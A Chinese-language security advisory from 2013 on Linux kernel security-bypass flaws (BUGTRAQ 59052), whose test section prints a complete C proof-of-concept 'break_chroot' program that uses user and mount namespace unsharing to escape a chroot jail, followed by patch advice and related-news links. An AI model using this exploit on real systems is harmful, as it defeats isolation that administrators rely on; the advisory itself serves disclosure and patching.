发布日期:2013-04-13
更新日期:2013-04-16受影响系统:
Linux kernel
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 59052
Linux Kernel是Linux操作系统的内核。
Linux kernel存在多个安全绕过漏洞,攻击者可利用这些漏洞绕过某些安全限制并执行未授权操作。
<*来源:Andrew Lutomirski
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif
static void printcwd(void)
{
/* This is fugly. */
static int lastlen = -1;
char buf[8192];
if (getcwd(buf, sizeof(buf))) {
if (strlen(buf) != lastlen)
printf("%s
", buf);
lastlen = strlen(buf);
} else {
warn("getcwd");
}
}
int fn(void *unused)
{
int i;
int fd;
fd = open("/", O_RDONLY | O_DIRECTORY);
if (fd == -1)
err(1, "open(".")");
if (unshare(CLONE_NEWUSER) != 0)
err(1, "unshare(CLONE_NEWUSER)");
if (unshare(CLONE_NEWNS) != 0)
err(1, "unshare(CLONE_NEWNS)");
if (fchdir(fd) != 0)
err(1, "fchdir");
close(fd);
for (i = 0; i < 100; i++) {
printcwd();
if (chdir("..") != 0) {
warn("chdir");
break;
}
}
fd = open(".", O_PATH | O_DIRECTORY);
if (fd == -1)
err(1, "open(".")");
if (fd != 3) {
if (dup2(fd, 3) == -1)
err(1, "dup2");
close(fd);
}
_exit(0);
}
int main(int argc, char **argv)
{
int dummy;
if (argc < 2) {
printf("usage: break_chroot COMMAND ARGS...
"
"You won"t be entirely out of jail. / is still the jail root.
");
return 1;
}
close(3);
if (signal(SIGCHLD, SIG_DFL) != 0)
err(1, "signal");
if (clone(fn, &dummy, CLONE_FILES | SIGCHLD, 0) == -1)
err(1, "clone");
int status;
if (wait(&status) == -1)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child failed");
if (fchdir(3) != 0)
err(1, "fchdir");
close(3);
execv(argv[1], argv+1);
err(1, argv[1]);
return 0;
}建议:
--------------------------------------------------------------------------------
厂商补丁:
Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.kernel.org/Linux Kernel Tracing多个本地拒绝服务漏洞Linux Kernel多个本地信息泄露漏洞相关资讯 Linux Kernel安全漏洞
- Linux kernel is_ashmem_file函数 (今 06:38)
- Linux Kernel远程拒绝服务漏洞(CVE (11/16/2013 16:44:42)
- Linux Kernel "skb_flow_dissect() (11/08/2013 18:30:53)
| - Linux Kernel "__nfs4_get_acl_ (11/19/2013 18:39:43)
- Linux Kernel整数溢出漏洞(CVE- (11/15/2013 15:38:16)
- Linux Kernel 多个整数溢出漏洞( (11/07/2013 16:54:57)
|
本文评论 查看全部评论 (0)
评论声明- 尊重网上道德,遵守中华人民共和国的各项有关法律法规
- 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
- 本站管理人员有权保留或删除其管辖留言中的任意内容
- 本站有权在网站内
|